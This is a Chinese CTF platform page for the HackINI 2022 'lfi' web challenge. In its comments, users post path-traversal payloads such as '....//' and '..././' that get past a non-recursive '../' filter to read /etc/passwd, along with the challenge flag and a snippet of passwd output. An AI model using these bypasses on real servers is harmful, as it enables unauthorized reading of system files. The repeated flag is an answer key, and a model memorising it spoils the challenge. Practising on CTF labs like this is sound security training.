lfiWEB 未解决

分数: 0 金币: 0
所属赛事: HackINI 2022
题目作者: 未知
一　　血: tzzzez
一血奖励: 0金币
解　　决: 1583
提　　示:
描　　述:
We made some serious checks now, would you test it ?
...
登录回复
评论
hbesljx 1年前
举报

直接language=....//....//....//....//....//....//etc/passwd即可。..../过滤掉../后还是../

回复 1
1005667204 1年前
举报

使用?language=./language/..././..././..././..././..././..././..././etc/passwd或者使用双写?language=/languages/....//....//....//....//....//....//etc/passwd

回复 0
18993258097 1年前
举报

shellmates{SH0uLD_H4Ve_MadE_th3_checK_recuRS1V3}

回复 0
菜鸡的小韩 1年前
举报

这是一个基本的绕过，因为 str_replace('../', '',$_GET['language'])这串代码../会被替换成空格，所以要进行一个绕过，用..././来代替../ 。url中写?language=./..././..././..././..././..././etc/passwd即可

回复 0
ABC第一深情 1年前
举报

/?language=/etc/passwd

回复 3
曦羽unT0x1ns 1年前
举报

直接用file:///etc/passwd居然也行 oAo

回复 0
13657809271 1年前
举报

我这样怎么不行

回复 0
XHTX 1年前
举报

?language=/languages//..//..//..//....//etc/passwd shellmates{SH0uLD_H4Ve_MadE_th3_checK_recuRS1V3} 就是这个样子

回复 0
868954104 1年前
举报

?language=/languages/....//....//....//....//etc/passwd

回复 0
868954104 1年前
举报

shellmates{SH0uLD_H4Ve_MadE_th3_checK_recuRS1V3}

回复 1
yituoshi 1年前
举报

Half the truth is often a big lie: Look Here !!! root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nol

回复 0

WriteUp

image
a2cai

2 金币

立即查看

评分(1)

解题动态

咻猫 攻破了该题 3小时前
htbn 攻破了该题 23小时前
fengzige 攻破了该题 1天前
g0tshe11 攻破了该题 1天前
charas 攻破了该题 1天前
1234567nxb 攻破了该题 2天前
jiexixjie 攻破了该题 2天前
whlzdb 攻破了该题 3天前
hufeiyang 攻破了该题 3天前
901548546 攻破了该题 4天前
psych1 攻破了该题 4天前
shineya 攻破了该题 4天前
捏捏捏扣 攻破了该题 4天前
luvwq 攻破了该题 4天前
孙燕姿圈外男友 攻破了该题 4天前
hgj123 攻破了该题 4天前
yqy192073 攻破了该题 4天前
tdwj 攻破了该题 5天前
5032894 攻破了该题 5天前
15031597817 攻破了该题 5天前
问题反馈